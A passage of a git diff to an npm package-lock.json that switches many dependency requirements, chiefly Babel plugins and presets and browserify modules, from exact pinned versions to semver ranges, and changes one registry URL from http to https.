"sha1-h11ryb52HFiirj/u5dxIldjH+SE=", "dev": true, "requires": { - "babel-plugin-syntax-object-rest-spread": "6.13.0", - "babel-runtime": "6.25.0" + "babel-plugin-syntax-object-rest-spread": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-react-display-name": { @@ -1693,7 +1708,7 @@ "integrity": "sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-react-jsx": { @@ -1702,9 +1717,9 @@ "integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=", "dev": true, "requires": { - "babel-helper-builder-react-jsx": "6.26.0", - "babel-plugin-syntax-jsx": "6.18.0", - "babel-runtime": "6.25.0" + "babel-helper-builder-react-jsx": "^6.24.1", + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-react-jsx-self": { @@ -1713,8 +1728,8 @@ "integrity": "sha1-322AqdomEqEh5t3XVYvL7PBuY24=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "6.18.0", - "babel-runtime": "6.25.0" + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-react-jsx-source": { @@ -1723,8 +1738,8 @@ "integrity": "sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "6.18.0", - "babel-runtime": "6.25.0" + "babel-plugin-syntax-jsx": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-regenerator": { @@ -1742,8 +1757,8 @@ "integrity": "sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-polyfill": { @@ -1752,9 +1767,9 @@ "integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=", "dev": true, "requires": { - "babel-runtime": "6.26.0", - "core-js": "2.5.7", - "regenerator-runtime": "0.10.5" + "babel-runtime": "^6.26.0", + "core-js": "^2.5.0", + "regenerator-runtime": "^0.10.5" }, "dependencies": { "babel-runtime": { @@ -1763,8 +1778,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.11.0" + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" }, "dependencies": { "regenerator-runtime": { @@ -1783,36 +1798,36 @@ "integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==", "dev": true, "requires": { - "babel-plugin-check-es2015-constants": "6.22.0", - "babel-plugin-syntax-trailing-function-commas": "6.22.0", - "babel-plugin-transform-async-to-generator": "6.24.1", - "babel-plugin-transform-es2015-arrow-functions": "6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0", - "babel-plugin-transform-es2015-block-scoping": "6.24.1", - "babel-plugin-transform-es2015-classes": "6.24.1", - "babel-plugin-transform-es2015-computed-properties": "6.24.1", - "babel-plugin-transform-es2015-destructuring": "6.23.0", - "babel-plugin-transform-es2015-duplicate-keys": "6.24.1", - "babel-plugin-transform-es2015-for-of": "6.23.0", - "babel-plugin-transform-es2015-function-name": "6.24.1", - "babel-plugin-transform-es2015-literals": "6.22.0", - "babel-plugin-transform-es2015-modules-amd": "6.24.1", - "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", - "babel-plugin-transform-es2015-modules-systemjs": "6.24.1", - "babel-plugin-transform-es2015-modules-umd": "6.24.1", - "babel-plugin-transform-es2015-object-super": "6.24.1", - "babel-plugin-transform-es2015-parameters": "6.24.1", - "babel-plugin-transform-es2015-shorthand-properties": "6.24.1", - "babel-plugin-transform-es2015-spread": "6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "6.24.1", - "babel-plugin-transform-es2015-template-literals": "6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "6.23.0", - "babel-plugin-transform-es2015-unicode-regex": "6.24.1", - "babel-plugin-transform-exponentiation-operator": "6.24.1", - "babel-plugin-transform-regenerator": "6.24.1", - "browserslist": "3.2.8", - "invariant": "2.2.2", - "semver": "5.5.0" + "babel-plugin-check-es2015-constants": "^6.22.0", + "babel-plugin-syntax-trailing-function-commas": "^6.22.0", + "babel-plugin-transform-async-to-generator": "^6.22.0", + "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoping": "^6.23.0", + "babel-plugin-transform-es2015-classes": "^6.23.0", + "babel-plugin-transform-es2015-computed-properties": "^6.22.0", + "babel-plugin-transform-es2015-destructuring": "^6.23.0", + "babel-plugin-transform-es2015-duplicate-keys": "^6.22.0", + "babel-plugin-transform-es2015-for-of": "^6.23.0", + "babel-plugin-transform-es2015-function-name": "^6.22.0", + "babel-plugin-transform-es2015-literals": "^6.22.0", + "babel-plugin-transform-es2015-modules-amd": "^6.22.0", + "babel-plugin-transform-es2015-modules-commonjs": "^6.23.0", + "babel-plugin-transform-es2015-modules-systemjs": "^6.23.0", + "babel-plugin-transform-es2015-modules-umd": "^6.23.0", + "babel-plugin-transform-es2015-object-super": "^6.22.0", + "babel-plugin-transform-es2015-parameters": "^6.23.0", + "babel-plugin-transform-es2015-shorthand-properties": "^6.22.0", + "babel-plugin-transform-es2015-spread": "^6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "^6.22.0", + "babel-plugin-transform-es2015-template-literals": "^6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "^6.23.0", + "babel-plugin-transform-es2015-unicode-regex": "^6.22.0", + "babel-plugin-transform-exponentiation-operator": "^6.22.0", + "babel-plugin-transform-regenerator": "^6.22.0", + "browserslist": "^3.2.6", + "invariant": "^2.2.2", + "semver": "^5.3.0" }, "dependencies": { "semver": { @@ -1829,30 +1844,30 @@ "integrity": "sha1-1EBQ1rwsn+6nAqrzjXJ6AhBTiTk=", "dev": true, "requires": { - "babel-plugin-check-es2015-constants": "6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0", - "babel-plugin-transform-es2015-block-scoping": "6.24.1", - "babel-plugin-transform-es2015-classes": "6.24.1", - "babel-plugin-transform-es2015-computed-properties": "6.24.1", - "babel-plugin-transform-es2015-destructuring": "6.23.0", - "babel-plugin-transform-es2015-duplicate-keys": "6.24.1", - "babel-plugin-transform-es2015-for-of": "6.23.0", - "babel-plugin-transform-es2015-function-name": "6.24.1", - "babel-plugin-transform-es2015-literals": "6.22.0", - "babel-plugin-transform-es2015-modules-amd": "6.24.1", - "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", - "babel-plugin-transform-es2015-modules-systemjs": "6.24.1", - "babel-plugin-transform-es2015-modules-umd": "6.24.1", - "babel-plugin-transform-es2015-object-super": "6.24.1", - "babel-plugin-transform-es2015-parameters": "6.24.1", - "babel-plugin-transform-es2015-shorthand-properties": "6.24.1", - "babel-plugin-transform-es2015-spread": "6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "6.24.1", - "babel-plugin-transform-es2015-template-literals": "6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "6.23.0", - "babel-plugin-transform-es2015-unicode-regex": "6.24.1", - "babel-plugin-transform-regenerator": "6.24.1" + "babel-plugin-check-es2015-constants": "^6.22.0", + "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", + "babel-plugin-transform-es2015-block-scoping": "^6.24.1", + "babel-plugin-transform-es2015-classes": "^6.24.1", + "babel-plugin-transform-es2015-computed-properties": "^6.24.1", + "babel-plugin-transform-es2015-destructuring": "^6.22.0", + "babel-plugin-transform-es2015-duplicate-keys": "^6.24.1", + "babel-plugin-transform-es2015-for-of": "^6.22.0", + "babel-plugin-transform-es2015-function-name": "^6.24.1", + "babel-plugin-transform-es2015-literals": "^6.22.0", + "babel-plugin-transform-es2015-modules-amd": "^6.24.1", + "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", + "babel-plugin-transform-es2015-modules-systemjs": "^6.24.1", + "babel-plugin-transform-es2015-modules-umd": "^6.24.1", + "babel-plugin-transform-es2015-object-super": "^6.24.1", + "babel-plugin-transform-es2015-parameters": "^6.24.1", + "babel-plugin-transform-es2015-shorthand-properties": "^6.24.1", + "babel-plugin-transform-es2015-spread": "^6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "^6.24.1", + "babel-plugin-transform-es2015-template-literals": "^6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "^6.22.0", + "babel-plugin-transform-es2015-unicode-regex": "^6.24.1", + "babel-plugin-transform-regenerator": "^6.24.1" } }, "babel-preset-flow": { @@ -1861,7 +1876,7 @@ "integrity": "sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=", "dev": true, "requires": { - "babel-plugin-transform-flow-strip-types": "6.22.0" + "babel-plugin-transform-flow-strip-types": "^6.22.0" } }, "babel-preset-react": { @@ -1870,12 +1885,12 @@ "integrity": "sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "6.18.0", - "babel-plugin-transform-react-display-name": "6.25.0", - "babel-plugin-transform-react-jsx": "6.24.1", - "babel-plugin-transform-react-jsx-self": "6.22.0", - "babel-plugin-transform-react-jsx-source": "6.22.0", - "babel-preset-flow": "6.23.0" + "babel-plugin-syntax-jsx": "^6.3.13", + "babel-plugin-transform-react-display-name": "^6.23.0", + "babel-plugin-transform-react-jsx": "^6.24.1", + "babel-plugin-transform-react-jsx-self": "^6.22.0", + "babel-plugin-transform-react-jsx-source": "^6.22.0", + "babel-preset-flow": "^6.23.0" } }, "babel-preset-stage-0": { @@ -1884,9 +1899,9 @@ "integrity": "sha1-VkLRUEL5E4TX5a+LyIsduVsDnmo=", "dev": true, "requires": { - "babel-plugin-transform-do-expressions": "6.22.0", - "babel-plugin-transform-function-bind": "6.22.0", - "babel-preset-stage-1": "6.24.1" + "babel-plugin-transform-do-expressions": "^6.22.0", + "babel-plugin-transform-function-bind": "^6.22.0", + "babel-preset-stage-1": "^6.24.1" } }, "babel-preset-stage-1": { @@ -1895,9 +1910,9 @@ "integrity": "sha1-dpLNfc1oSZB+auSgqFWJz7niv7A=", "dev": true, "requires": { - "babel-plugin-transform-class-constructor-call": "6.24.1", - "babel-plugin-transform-export-extensions": "6.22.0", - "babel-preset-stage-2": "6.24.1" + "babel-plugin-transform-class-constructor-call": "^6.24.1", + "babel-plugin-transform-export-extensions": "^6.22.0", + "babel-preset-stage-2": "^6.24.1" } }, "babel-preset-stage-2": { @@ -1906,10 +1921,10 @@ "integrity": "sha1-2eKWD7PXEYfw5k7sYrwHdnIZvcE=", "dev": true, "requires": { - "babel-plugin-syntax-dynamic-import": "6.18.0", - "babel-plugin-transform-class-properties": "6.24.1", - "babel-plugin-transform-decorators": "6.24.1", - "babel-preset-stage-3": "6.24.1" + "babel-plugin-syntax-dynamic-import": "^6.18.0", + "babel-plugin-transform-class-properties": "^6.24.1", + "babel-plugin-transform-decorators": "^6.24.1", + "babel-preset-stage-3": "^6.24.1" } }, "babel-preset-stage-3": { @@ -1918,11 +1933,11 @@ "integrity": "sha1-g2raCp56f6N8sTj7kyb4eTSkg5U=", "dev": true, "requires": { - "babel-plugin-syntax-trailing-function-commas": "6.22.0", - "babel-plugin-transform-async-generator-functions": "6.24.1", - "babel-plugin-transform-async-to-generator": "6.24.1", - "babel-plugin-transform-exponentiation-operator": "6.24.1", - "babel-plugin-transform-object-rest-spread": "6.23.0" + "babel-plugin-syntax-trailing-function-commas": "^6.22.0", + "babel-plugin-transform-async-generator-functions": "^6.24.1", + "babel-plugin-transform-async-to-generator": "^6.24.1", + "babel-plugin-transform-exponentiation-operator": "^6.24.1", + "babel-plugin-transform-object-rest-spread": "^6.22.0" } }, "babel-register": { @@ -1931,13 +1946,13 @@ "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=", "dev": true, "requires": { - "babel-core": "6.26.3", - "babel-runtime": "6.26.0", - "core-js": "2.5.7", - "home-or-tmp": "2.0.0", - "lodash": "4.17.10", - "mkdirp": "0.5.1", - "source-map-support": "0.4.18" + "babel-core": "^6.26.0", + "babel-runtime": "^6.26.0", + "core-js": "^2.5.0", + "home-or-tmp": "^2.0.0", + "lodash": "^4.17.4", + "mkdirp": "^0.5.1", + "source-map-support": "^0.4.15" }, "dependencies": { "babel-runtime": { @@ -1946,8 +1961,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.11.1" + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" } }, "regenerator-runtime": { @@ -1963,8 +1978,8 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.10.5" + "core-js": "^2.4.0", + "regenerator-runtime": "^0.10.0" } }, "babel-template": { @@ -1973,11 +1988,11 @@ "integrity": "sha1-ZlJBFmt8KqTGGdceGSlpVSsQwHE=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0", - "babylon": "6.17.4", - "lodash": "4.17.10" + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.25.0", + "babel-types": "^6.25.0", + "babylon": "^6.17.2", + "lodash": "^4.2.0" } }, "babel-traverse": { @@ -1986,15 +2001,15 @@ "integrity": "sha1-IldJfi/NGbie3BPEyROB+VEklvE=", "dev": true, "requires": { - "babel-code-frame": "6.22.0", - "babel-messages": "6.23.0", - "babel-runtime": "6.25.0", - "babel-types": "6.25.0", - "babylon": "6.17.4", - "debug": "2.6.8", - "globals": "9.18.0", - "invariant": "2.2.2", - "lodash": "4.17.10" + "babel-code-frame": "^6.22.0", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.22.0", + "babel-types": "^6.25.0", + "babylon": "^6.17.2", + "debug": "^2.2.0", + "globals": "^9.0.0", + "invariant": "^2.2.0", + "lodash": "^4.2.0" } }, "babel-types": { @@ -2003,10 +2018,10 @@ "integrity": "sha1-cK+ySNVmDl0Y+BHZHIMDtUE0oY4=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "esutils": "2.0.2", - "lodash": "4.17.10", - "to-fast-properties": "1.0.3" + "babel-runtime": "^6.22.0", + "esutils": "^2.0.2", + "lodash": "^4.2.0", + "to-fast-properties": "^1.0.1" } }, "babylon": { @@ -2033,13 +2048,13 @@ "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", "dev": true, "requires": { - "cache-base": "1.0.1", - "class-utils": "0.3.6", - "component-emitter": "1.2.1", - "define-property": "1.0.0", - "isobject": "3.0.1", - "mixin-deep": "1.3.1", - "pascalcase": "0.1.1" + "cache-base": "^1.0.1", + "class-utils": "^0.3.5", + "component-emitter": "^1.2.1", + "define-property": "^1.0.0", + "isobject": "^3.0.1", + "mixin-deep": "^1.2.0", + "pascalcase": "^0.1.1" }, "dependencies": { "define-property": { @@ -2048,7 +2063,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "1.0.2" + "is-descriptor": "^1.0.0" } }, "is-accessor-descriptor": { @@ -2057,7 +2072,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-data-descriptor": { @@ -2066,7 +2081,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-descriptor": { @@ -2075,9 +2090,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "1.0.0", - "is-data-descriptor": "1.0.0", - "kind-of": "6.0.2" + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" } }, "isobject": { @@ -2130,7 +2145,7 @@ "dev": true, "optional": true, "requires": { - "tweetnacl": "0.14.5" + "tweetnacl": "^0.14.3" } }, "better-assert": { @@ -2159,7 +2174,7 @@ "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", "integrity": "sha1-A3oM1LcbnjMf2QoRIt4X3EnkIKc=", "requires": { - "psl": "1.1.20" + "psl": "^1.1.7" } }, "blob": { @@ -2187,15 +2202,15 @@ "dev": true, "requires": { "bytes": "3.0.0", - "content-type": "1.0.4", + "content-type": "~1.0.4", "debug": "2.6.9", - "depd": "1.1.2", - "http-errors": "1.6.3", + "depd": "~1.1.2", + "http-errors": "~1.6.3", "iconv-lite": "0.4.23", - "on-finished": "2.3.0", + "on-finished": "~2.3.0", "qs": "6.5.2", "raw-body": "2.3.3", - "type-is": "1.6.16" + "type-is": "~1.6.16" }, "dependencies": { "debug": { @@ -2213,7 +2228,7 @@ "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", "dev": true, "requires": { - "safer-buffer": "2.1.2" + "safer-buffer": ">= 2.1.2 < 3" } } } @@ -2224,12 +2239,12 @@ "integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=", "dev": true, "requires": { - "array-flatten": "2.1.1", - "deep-equal": "1.0.1", - "dns-equal": "1.0.0", - "dns-txt": "2.0.2", - "multicast-dns": "6.2.3", - "multicast-dns-service-types": "1.1.0" + "array-flatten": "^2.1.0", + "deep-equal": "^1.0.1", + "dns-equal": "^1.0.0", + "dns-txt": "^2.0.2", + "multicast-dns": "^6.0.1", + "multicast-dns-service-types": "^1.1.0" } }, "boolbase": { @@ -2244,7 +2259,7 @@ "integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=", "dev": true, "requires": { - "hoek": "4.2.1" + "hoek": "4.x.x" } }, "bootstrap": { @@ -2258,8 +2273,8 @@ "integrity": "sha1-F3kPVRU4rN6PlLcBhoDBRVRLsuE=", "dev": true, "requires": { - "loader-utils": "0.2.17", - "q": "1.5.0" + "loader-utils": "^0.2.5", + "q": "^1.0.1" } }, "brace-expansion": { @@ -2268,7 +2283,7 @@ "integrity": "sha1-wHshHHyVLsH479Uad+8NHTmQopI=", "dev": true, "requires": { - "balanced-match": "1.0.0", + "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, @@ -2279,9 +2294,9 @@ "dev": true, "optional": true, "requires": { - "expand-range": "1.8.2", - "preserve": "0.2.0", - "repeat-element": "1.1.2" + "expand-range": "^1.8.1", + "preserve": "^0.2.0", + "repeat-element": "^1.1.2" } }, "brorand": { @@ -2302,12 +2317,12 @@ "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==", "dev": true, "requires": { - "buffer-xor": "1.0.3", - "cipher-base": "1.0.4", - "create-hash": "1.2.0", - "evp_bytestokey": "1.0.3", - "inherits": "2.0.3", - "safe-buffer": "5.1.1" + "buffer-xor": "^1.0.3", + "cipher-base": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.3", + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" } }, "browserify-cipher": { @@ -2316,9 +2331,9 @@ "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==", "dev": true, "requires": { - "browserify-aes": "1.2.0", - "browserify-des": "1.0.2", - "evp_bytestokey": "1.0.3" + "browserify-aes": "^1.0.4", + "browserify-des": "^1.0.0", + "evp_bytestokey": "^1.0.0" } }, "browserify-des": { @@ -2327,10 +2342,10 @@ "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==", "dev": true, "requires": { - "cipher-base": "1.0.4", - "des.js": "1.0.0", - "inherits": "2.0.3", - "safe-buffer": "5.1.2" + "cipher-base": "^1.0.1", + "des.js": "^1.0.0", + "inherits": "^2.0.1", + "safe-buffer": "^5.1.2" }, "dependencies": { "safe-buffer": { @@ -2347,8 +2362,8 @@ "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", "dev": true, "requires": { - "bn.js": "4.11.8", - "randombytes": "2.0.6" + "bn.js": "^4.1.0", + "randombytes": "^2.0.1" } }, "browserify-sign": { @@ -2357,13 +2372,13 @@ "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=", "dev": true, "requires": { - "bn.js": "4.11.8", - "browserify-rsa": "4.0.1", - "create-hash": "1.2.0", - "create-hmac": "1.1.7", - "elliptic": "6.4.1", - "inherits": "2.0.3", - "parse-asn1": "5.1.1" + "bn.js": "^4.1.1", + "browserify-rsa": "^4.0.0", + "create-hash": "^1.1.0", + "create-hmac": "^1.1.2", + "elliptic": "^6.0.0", + "inherits": "^2.0.1", + "parse-asn1": "^5.0.0" } }, "browserify-zlib": { @@ -2372,7 +2387,7 @@ "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", "dev": true, "requires": { - "pako": "1.0.6" + "pako": "~1.0.5" } }, "browserslist": { @@ -2381,19 +2396,19 @@ "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", "dev": true, "requires": { - "caniuse-lite": "1.0.30000877", - "electron-to-chromium": "1.3.58" + "caniuse-lite": "^1.0.30000844", + "electron-to-chromium": "^1.3.47" } }, "buffer": { "version": "4.9.1", - "resolved": "http://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", "dev": true, "requires": { - "base64-js": "1.3.0", - "ieee754": "1.1.12", - "isarray": "1.0.0" + "base64-js": "^1.0.2", + "ieee754": "^1.1.4", + "isarray": "^1.0.0" }, "dependencies": { "isarray": { @@ -2410,8 +2425,8 @@ "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", "dev": true, "requires": { - "buffer-alloc-unsafe": "1.1.0", - "buffer-fill": "1.0.0" + "buffer-alloc-unsafe": "^1.1.0", + "buffer-fill": "^1.0.0" } }, "buffer-alloc-unsafe": { @@ -2462,19 +2477,19 @@ "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", "dev": true, "requires": { - "bluebird": "3.5.1", - "chownr": "1.1.1", - "glob": "7.1.3", - "graceful-fs": "4.1.11", - "lru-cache": "4.1.3", - "mississippi": "2.0.0", - "mkdirp": "0.5.1", - "move-concurrently": "1.0.1", - "promise-inflight": "1.0.1", - "rimraf": "2.6.2", - "ssri": "5.3.0", - "unique-filename": "1.1.1", - "y18n": "4.0.0" + "bluebird": "^3.5.1", + "chownr": "^1.0.1", + "glob": "^7.1.2", + "graceful-fs": "^4.1.11", + "lru-cache": "^4.1.1", + "mississippi": "^2.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.2", + "ssri": "^5.2.4", + "unique-filename": "^1.1.0", + "y18n": "^4.0.0" }, "dependencies": { "y18n": { @@ -2491,15 +2506,15 @@ "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", "dev": true, "requires": { - "collection-visit": "1.0.0", - "component-emitter": "1.2.1", - "get-value": "2.0.6", - "has-value": "1.0.0", - "isobject": "3.0.1", - "set-value": "2.0.0", - "to-object-path": "0.3.0", - "union-value": "1.0.0", - "unset-value": "1.0.0" + "collection-visit": "^1.0.0", + "component-emitter": "^1.2.1", + "get-value": "^2.0.6", + "has-value": "^1.0.0", + "isobject": "^3.0.1", + "set-value": "^2.0.0", + "to-object-path": "^0.3.0", + "union-value": "^1.0.0", + "unset-value": "^1.0.0" }, "dependencies": { "isobject": { @@ -2516,7 +2531,7 @@ "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", "dev": true, "requires": { - "callsites": "0.2.0" + "callsites": "^0.2.0" } }, "callsite": { @@ -2537,8 +2552,8 @@ "integrity": "sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=", "dev": true, "requires": { - "no-case": "2.3.2", - "upper-case": "1.1.3" + "no-case": "^2.2.0", + "upper-case": "^1.1.1" } }, "camelcase": { @@ -2554,8 +2569,8 @@ "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", "dev": true, "requires": { - "camelcase": "2.1.1", - "map-obj": "1.0.1" + "camelcase": "^2.0.0", + "map-obj": "^1.0.0" }, "dependencies": { "camelcase": { @@ -2585,8 +2600,8 @@ "dev": true, "optional": true, "requires": { - "align-text": "0.1.4", - "lazy-cache": "1.0.4" + "align-text": "^0.1.3", + "lazy-cache": "^1.0.3" } }, "chai": { @@ -2595,12 +2610,12 @@ "integrity": "sha512-XQU3bhBukrOsQCuwZndwGcCVQHyZi53fQ6Ys1Fym7E4olpIqqZZhhoFJoaKVvV17lWQoXYwgWN2nF5crA8J2jw==", "dev": true, "requires": { - "assertion-error": "1.1.0", - "check-error": "1.0.2", - "deep-eql": "3.0.1", - "get-func-name": "2.0.0", - "pathval": "1.1.0", - "type-detect": "4.0.8" + "assertion-error": "^1.1.0", + "check-error": "^1.0.2", + "deep-eql": "^3.0.1", + "get-func-name": "^2.0.0", + "pathval": "^1.1.0", + "type-detect": "^4.0.5" } }, "chalk": { @@ -2609,11 +2624,11 @@ "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", "dev": true, "requires": { - "ansi-styles": "2.2.1", - "escape-string-regexp": "1.0.5", - "has-ansi": "2.0.0", - "strip-ansi": "3.0.1", - "supports-color": "2.0.0" + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" } }, "chardet": { @@ -2635,15 +2650,15 @@ "dev": true, "optional": true, "requires": { - "anymatch": "1.3.2", - "async-each": "1.0.1", - "fsevents": "1.1.2", - "glob-parent": "2.0.0", - "inherits": "2.0.3", - "is-binary-path": "1.0.1", - "is-glob": "2.0.1", - "path-is-absolute": "1.0.1", - "readdirp": "2.1.0" + "anymatch": "^1.3.0", + "async-each": "^1.0.0", + "fsevents": "^1.0.0", + "glob-parent": "^2.0.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^2.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0" } }, "chownr": { @@ -2658,7 +2673,7 @@ "integrity": "sha512-xDbVgyfDTT2piup/h8dK/y4QZfJRSa73bw1WZ8b4XM1o7fsFubUVGYcE+1ANtOzJJELGpYoG2961z0Z6OAld9A==", "dev": true, "requires": { - "tslib": "1.9.3" + "tslib": "^1.9.0" } }, "cipher-base": { @@ -2667,8 +2682,8 @@ "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", "dev": true, "requires": { - "inherits": "2.0.3", - "safe-buffer": "5.1.1" + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" } }, "circular-json": { @@ -2683,10 +2698,10 @@ "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", "dev": true, "requires": { - "arr-union": "3.1.0", - "define-property": "0.2.5", - "isobject": "3.0.1", - "static-extend": "0.1.2" + "arr-union": "^3.1.0", + "define-property": "^0.2.5", + "isobject": "^3.0.0", + "static-extend": "^0.1.1" }, "dependencies": { "define-property": { @@ -2695,7 +2710,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } }, "isobject": { @@ -2717,7 +2732,7 